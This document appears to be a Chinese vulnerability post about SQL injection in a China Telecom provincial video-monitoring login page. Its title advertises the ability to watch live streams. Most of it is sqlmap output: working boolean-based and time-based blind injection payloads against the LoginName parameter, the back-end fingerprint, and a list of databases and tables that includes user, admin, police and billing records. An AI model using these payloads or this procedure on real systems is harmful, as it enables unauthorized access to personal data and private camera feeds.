中国电信某省视频看护系统SQL注入（可看时时直播哦）

"http://**.**.**.**/globeyes/admin/login.jsp?LoginName=1111&Password=1111&user_pw2=7156&rand=7186&platform=nanjing&login=suzhou

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
 ---
 Place: GET
 Parameter: LoginName
     Type: boolean-based blind
     Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
     Payload: LoginName=1111' RLIKE (SELECT (CASE WHEN (1482=1482) THEN 1111 ELSE 0x28 END)) AND 'HdHJ'='HdHJ&Password=1111&user_pw2=7156&rand=7186&platform=nanjing&login=suzhou
 
     Type: AND/OR time-based blind
     Title: MySQL > 5.0.11 AND time-based blind
     Payload: LoginName=1111' AND SLEEP(5) AND 'wKGK'='wKGK&Password=1111&user_pw2=7156&rand=7186&platform=nanjing&login=suzhou
 ---
 web application technology: Apache
 back-end DBMS: MySQL >= 5.0.0
 current database:    'globeyes'
 current user is DBA:    False
 available databases [4]:
 [*] globeyes
 [*] information_schema
 [*] mysql
 [*] test
 
 Database: globeyes
 +----------------------+---------+
 | Table                | Entries |
 +----------------------+---------+
 | terminal_log         | 2387552 |
 | hd_info              | 2281330 |
 | process_info         | 2120898 |
 | system_status        | 845777  |
 | user_fee             | 841467  |
 | storage              | 366471  |
 | terminal_online_time | 285318  |
 | dispmsg_bak          | 256170  |
 | system_stat          | 185727  |
 | user_log             | 88911   |
 | sms_queue            | 44308   |
 | test_table           | 39799   |
 | saveinfo             | 27904   |
 | monitor_event        | 8620    |
 | terminal_param       | 8426    |
 | `user`               | 8015    |
 | terminal             | 6444    |
 | voice_queue          | 5523    |
 | child_terminal       | 3605    |
 | notify_service       | 676     |
 | admin                | 258     |
 | area                 | 129     |
 | user_t               | 87      |
 | alarm_dispose        | 60      |
 | store_setup          | 60      |
 | police_service       | 53      |
 | ipc                  | 36      |
 | terminal_t           | 34      |
 | notify_service_temp  | 33      |
 | partition_list       | 29      |
 | ttt                  | 24      |
 | process_list         | 23      |
 | host_info            | 22      |
 | police_watcher       | 21      |
 | service_monitor      | 20      |
 | police               | 19      |
 | software_version     | 18      |
 | product              | 16      |
 | SaveSwitcher         | 16      |
 | client_session       | 13      |
 | alarm_setting        | 7       |
 | manufacturer         | 7       |
 | dispmsg              | 5       |
 | feeset               | 1       |
 +----------------------+---------+